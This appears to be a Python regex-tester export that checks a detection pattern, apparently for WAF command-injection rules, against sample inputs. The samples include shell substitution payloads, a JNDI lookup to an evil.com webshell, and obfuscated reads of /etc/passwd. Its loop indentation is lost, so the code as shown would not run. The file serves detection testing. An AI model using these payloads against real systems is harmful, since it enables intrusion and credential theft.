import re
regex = re.compile(r"\$(?:\((?:[^\(\)]*|\([^\(\)]*\))\)|\{[^\{\}]*\}|\[[^\[\]]*\])|[<>]\([^\(\)]*\)|(?:/[0-9A-Z_a-z]*\[!?[^/\]]+|\[[0-9A-Z_a-z]/+)\]", flags=re.MULTILINE)
test_str = ("/get?932130-1=$(cmd)\n"
"932130-2=${cmd}\n"
"931120-3=<(cmd)\n"
">(cmd)=931120-4\n"
"{\"foo\": \"${:1337:-x$}{jndi:ldap://evil.com/webshell}\"}\n"
"var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test`\n"
"cat /etc/pa[s]swd\n"
"cat /[?]tc/pa[?]swd\n"
"/get?s=/etc/pas[s]wd\"\n"
"/get?s=/etc/[!q]asswd\n"
"/get?s=/etc/[m-z]asswd\n"
"/get?s=/usr/bin/[u]name+-a\n"
"/get?exec=/bi[n]/bash\n"
"/get?932130-17=$([])\n"
"echo $(echo $(cat /etc/passwd))\n"
"echo ${asd} \n"
"cat /etc/[p//]asswd\n"
"cat /[e//]tc/[p//]asswd\n"
"cat /[e/////////]tc/[p//]asswd\n"
"ls a[b///]c\n"
"ls *[a//]c\n"
"# should not match\n"
"932130-5=Some text (in brackets).\n"
"hello [text in brackets]\n"
"take this math expression: 1/[a/-1]\n"
"plase calculate the following a/[b/1234*c]\n\n")
matches = regex.finditer(test_str)
for match_num, match in enumerate(matches, start=1):
print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}")
for group_num, group in enumerate(match.groups(), start=1):
print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html